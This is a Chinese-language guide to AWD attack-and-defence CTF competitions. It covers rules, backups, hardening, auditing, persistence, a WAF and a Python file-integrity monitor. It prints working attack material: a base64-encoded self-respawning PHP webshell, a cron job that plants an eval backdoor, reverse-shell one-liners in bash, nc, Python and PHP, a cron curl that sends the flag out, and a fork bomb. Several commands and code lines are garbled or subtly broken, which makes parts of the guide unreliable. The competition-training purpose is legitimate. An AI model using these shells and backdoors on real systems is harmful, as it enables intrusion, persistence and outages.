比赛规则
比赛:指从开始到结束的一整场比赛过程。
轮:指一个单独的时间区间,分数计算的最小周期,一般为 10 分钟。 一场比赛由许多轮组成,可以理解为:
总轮数 = 比赛总时长 / 单轮时长
。选手:指比赛的参赛队伍,通常是一个 3-5 人的团队。
题目:比赛的试题,对应着传统 Jeopardy 模式中的一道道题目。
靶机:AWD 模式中,对于每一道题目,每个选手都会有一个自己的独立靶机,上面运行着这个题目的环境。
Check:为了检测选手的靶机服务以及功能是否能够正常运行,主办方会不定期运行 Check,(通常是一段自动请求并验证的脚本)用以检测服务可用性。检测到服务不可用,功能不全的靶机,其所属队伍将被扣分。(Check 的存在,是为了防止选手故意删站,或部署通防来使得攻击方无法对其靶机进行攻击,从而达到所谓“绝对的防御”)
服务宕机 / CheckDown:指选手的靶机服务不可用,或功能不全。
常见awd思路
(当作参考)
1.靶机登陆
一般来说有两种登陆方式:
rsa公钥登陆
用户名/密码登陆
使用xshell的话,那存在一个选择公钥的选项,可以直接登陆。
mobaxterm似乎是还要了解一下 ssh公钥登陆的命令
1.1 登陆后的思路
1.1.1 修改默认密码
ssh是弱口令要记得修改密码
如果又权限进入mysql,也需要修改密码
1.1.2 信息备份
1.tar备份
tar -zvxf /tmp/www.tar.gz /var/www/html/scp备份
scp -P ssh_port user@host_ip:/tmp/bak.sql local_filebash修改源码的时候,可以利用vscode远程连接
或者是利用vi2.mysql备份
//备份mysqldump -u user -p passwd database > 1.sql//还原mysql -u user -p passwd database < 1.sql2.defence
1.查询操作
因为tar是不会备份隐藏文件的,所以需要ls -al查看一下是否存在后门
用d盾或者seay查看一下是否存在预留的一句话木马
利用grep -r "xxx" /var/www/html/ 查看一下是否有默认文件存在flag
检测端口暴露的情况(3306..),如果MySQL的端口暴露,记得修改一下默认密码(也要修改php/java代码中的连接代码)
查看有没有后门账户
2.脚本部署
日志监控部署(非必要:有些比赛主办方会提供流量)
waf部署(有时候waf会被check扣分,所有要看情况。主办方有可能也有要求不能上)
文件监控(一般来说是需要在waf部署之后再部署)
3.Attack
抄作业(看流量、别人留的后门可以上车。一句话密码可能是md5的,或许需要网上解码一下。如果是主办方要求不能上网:但是还是一屋子的iphone、honor...你晓得吧?)
代码审计
权限维持
利用脚本快速得分(最好是不要一个一个flag交,非常狼狈(
4.详细步骤
4.1 目标确定
主办方提供网络拓扑和端口范围
攻击机、靶机、check 服务器
1.1 确定端口
nmap 10.16.10.19 -p1-655351.2 确定其他目标(扫描c段)
nmap –sS 10.16.10.0/24
主办方提供端口和ip且ip是连续的
直接打就完事了
4.2 代码审计
一般来说很可能会遇到一些tp、yii、laravel二次开发的框架,如果平时也有在收集这些链子的话可能也会用得到。
一般来说因为awd时间短,且代码量多所以考核的题目应该也不会太难
漏洞类型
1.预置后门
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('如果是ctf用户:最好是就修改一下连接密码就好,留一个预置后门。(直接用蚁剑连接操作作也不是不行
2.文件上传
直接使用白名单文件上传
3.SQL注入
SQL注入
防御方式:转义 ' " 、确认页面编码和数据库编码统一(基本上过滤90%
SQL写shell
MySQL端口暴露
关闭端口暴露或者是修改默认的MySQL密码(注意配置文件也要修改
4.反序列化
加过滤,匹配语句类型或者关键字
6.xxe
禁止引用外部dtd
7.代码执行
过滤一些关键函数
8.文件遍历
过滤关键字
4.3 权限维持
4.3.1 文件读取操作
我认为权限维持有时候也没办要写不死马之类的,不过 要是所有操作一起上了也不是不行(
条件允许的话也可以在一些php、js脚本文件,直接写一个读取flag文件的操作也可以在返回的header中(也不容易被发现
header(php'flag:'.file_get_contents('/tmp/flag'));4.3.2 不死马
一般来说,都是通过定时任务不断的写shell达到"不死马"这个操作
php不死马
file_put_contents('.1ndex.php',base64_decode('PD9waHAgIAogICAgc2V0X3RpbWVfbGltaXQoMCk7ICAKICAgIGlnbm9yZV91c2VyX2Fib3J0KDEpOyAgCiAgICB1bmxpbmsoX19GSUxFX18pOyAgCiAgICB3aGlsZSgxKXsgIAogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCcubG5kZXgucGhwJywnPD9waHAgaWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iN2I3ZmRmZmVmNDY0MDE5ZjcxOTBkMDM4NGQ1YjM4MzgiKXtAZXZhbCgkX1BPU1RbImNtZCJdKTt9ID8+Jyk7ICAKICAgICAgICBzbGVlcCgxKTsgIAogICAgfQo/Pg==+Jyk7ICAKICAgICAgICBzbGVlcCgwKTsgIAogICAgfQo/Pg=='));?pass=me7eorite&cmd=system('cat /flag')
Linux定时任务写马
system('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==\'7b7fdffef464019f7190d0384d5b3838\'){@eval(\\\\\\\\\$_POST[1]);} \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');如果被种马了,怎么防御?
杀进程后重启服务
写一个同名的文件夹
写一个sleep时间低于别人的马(或者写一个脚本不断删除别人的马)
4.3.3 定时任务
使用定时任务发送带有flag的请求
bash# 编辑 crontab:crontab -e*/5 * * * * curl 10.10.10.5:8000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'# 查询 crontab:crontab -l
使用定时任务反弹shell
bash
bash -c bash'bash -i >& /dev/tcp/[ip]/[port] 0>&1'nc -e /bin/bash 1.3.3.7 4444 bash
python
python -c bash'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_REAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
php -r bash'$sock=fsockopen("your_ip","4444");exec("/bin/sh -i <&3 >&3 2>&3");'如果因为定时任务一直失分咋办?
杀进程(ps -ef / px -aux)
一般/bin/sh是nc服务
kill `ps -aux | grep www-data | grep apache2 | awk '{print $2}'如果是ctf权限的话,那只能写个马执行这个命令
4.3.4 宕机
如果遇到不得不宕机的情况可以使用
:(){:|:&};:4.4 关于脚本
4.4.1.上传waf
check机制可能会check到waf过滤的参数,导致宕机(所以上床waf要慎重
php.iniauto_prepend_file=waf.php;bashsudo find /var/www/html/ -bashtype f -path "*.php" | xargs sed -i "s/<?php /<?php\nrequire_once('\/tmp\/waf.php');\n/g"可以在upload目录下写.htaccess禁止php文件执行
<Directory "/var/www/html/upload"> Options -ExecCGI -Indexes AllowOverride None RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml php_flag engine off <FilesMatch ".+\.ph(p[3457]?|t|tml)$"> deny from all </FilesMatch> </Directory>4.4.2.主板方提供流量
可以使用wireshark
基础用法:
过滤IP地址
ip.addr == 192.168.1.1 //只显示源/目的IP为192.168.1.1的数据包
not ip.src == 1.1.1.1 //不显示源IP为1.1.1.1的数据包
ip.src == 1.1.1.1 or ip.dst == 1.1.1.2 //只显示源IP为1.1.1.1或目的IP为1.1.1.2的数据包
过滤端口
tcp.port eq 80 #不管端口是来源还是目的都显示80端口
tcp.port == 80
tcp.port eq 2722
tcp.port eq 80 or udp.port eq 80
tcp.dstport == 80 #只显示tcp协议的目标端口80
tcp.srcport == 80 #只显示tcp协议的来源端口80
udp.port eq 15000
tcp.port >= 1 and tcp.port <= 80 #过滤端口范围
过滤MAC地址
eth.dst == MAC地址 #过滤目标MAC
eth.src eq MAC地址 #过滤来源MAC
3.eth.addr eq MAC地址 #过滤来源MAC和目标MAC都等于MAC地址的
http请求方式过滤
http.request.method == “GET”
2.http.request.method == “POST”
3.http.host mathes “www.baidu.com|http://baidu.cn“ #matches可以写多个域名http.host contains “http://www.baidu.com“ #contain只能写一个域名
http contains “GET”
多条过滤语句执行:
http.request.method ==”GET” && http contains “Host: “ http.request.method == “GET” && http contains “User-Agent: “ http.request.method ==”POST” && http contains “Host: “ http.request.method == “POST” && http contains “User-Agent: “ http contains “HTTP/1.1 200 OK” && http contains “Content-Type: “ http contains “HTTP/1.0 200 OK” && http contains “Content-Type: “4.4.3.文件监控
如果靶机没有python环境,那还需要在安装一下
python# -*- coding: utf-8 -*-#use: python file_check.py ./import osimport hashlibimport shutilimport ntpathimport timeCWD = os.getcwd()FILE_MD5_DICT = {} # 文件MD5字典ORIGIN_FILE_LIST = []# 特殊文件路径字符串Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'Special_string = 'drops_log' # 免死金牌UNICODE_ENCODING = "utf-8"INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"# 文件路径字典spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))Special_path = { 'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)), 'log' : os.path.realpath(os.path.join(spec_base_path, logstring)), 'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)), 'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),}def isListLike(value): return isinstance(value, (list, tuple, set))# 获取Unicode编码def getUnicode(value, encoding=None, noneToNull=False): if noneToNull and value is None: return NULL if isListLike(value): value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value if isinstance(value, unicode): return value elif isinstance(value, basestring): while True: try: return unicode(value, encoding or UNICODE_ENCODING) except UnicodeDecodeError, ex: try: return unicode(value, UNICODE_ENCODING) except: value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] else: try: return unicode(value) except UnicodeDecodeError: return unicode(str(value), errors="ignore")# 目录创建def mkdir_p(path): import errno try: os.makedirs(path) except OSError as exc: if exc.errno == errno.EEXIST and os.path.isdir(path): passcur else: raise# 获取当前所有文件路径def getfilelist(cwd): filelist = [] for root,subdirs, files in os.walk(cwd): for filepath in files:cur originalfile = os.path.join(root, filepath) if Special_path_str not in originalfile: filelist.append(originalfile) return filelist# 计算机文件MD5值def calcMD5(filepath): try: with open(filepath,'rb') as f: md5obj = hashlib.md5() md5obj.update(f.read()) hash = md5obj.hexdigest() return hash except Exception, e: print u'[!] getmd5_error : ' + getUnicode(filepath) print getUnicode(e) try: ORIGIN_FILE_LIST.remove(filepath) FILE_MD5_DICT.pop(filepath, None) except KeyError, e: pass# 获取所有文件MD5def getfilemd5dict(filelist = []): filemd5dict = {} for ori_file in filelist: if Special_path_str not in ori_file: md5 = calcMD5(os.path.realpath(ori_file)) if md5: filemd5dict[ori_file] = md5 return filemd5dict# 备份所有文件def backup_file(filelist=[]): # if len(os.listdir(Special_path['bak'])) == 0: for filepath in filelist: if Special_path_str not in filepath: shutil.copy2(filepath, Special_path['bak'])if __name__ == '__main__': print u'---------start------------' for value in Special_path: mkdir_p(Special_path[value]) # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件 ORIGIN_FILE_LIST = getfilelist(CWD) FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST) backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG print u'[*] pre work end!' while True: file_list = getfilelist(CWD) # 移除新上传文件 diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST)) if len(diff_file_list) != 0: # import pdb;pdb.set_trace() for filepath in diff_file_list: try: f = open(filepath, 'r').read() except Exception, e: break if Special_string not in f: try: print u'[*] webshell find : ' + getUnicode(filepath) shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt')) except Exception as e: print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath) try: f = open(os.path.join(Special_path['log'], 'log.txt'), 'a') f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n') f.close() except Exception as e: print u'[-] log error : file move error: ' + getUnicode(e) # 防止任意文件被修改,还原被修改文件 md5_dict = getfilemd5dict(ORIGIN_FILE_LIST) for filekey in md5_dict: if md5_dict[filekey] != FILE_MD5_DICT[filekey]: try: f = open(filekey, 'r').read() except Exception, e: break if Special_string not in f: try: print u'[*] file had be change : ' + getUnicode(filekey) shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt')) shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey) except Exception as e: print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey) try: f = open(os.path.join(Special_path['log'], 'log.txt'), 'a') f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n') f.close() except Exception as e: print u'[-] log error : done_diff: ' + getUnicode(filekey) pass time.sleep(2) # print '[*] ' + getUnicode(time.ctime())参考文章
https://xz.aliyun.com/t/10342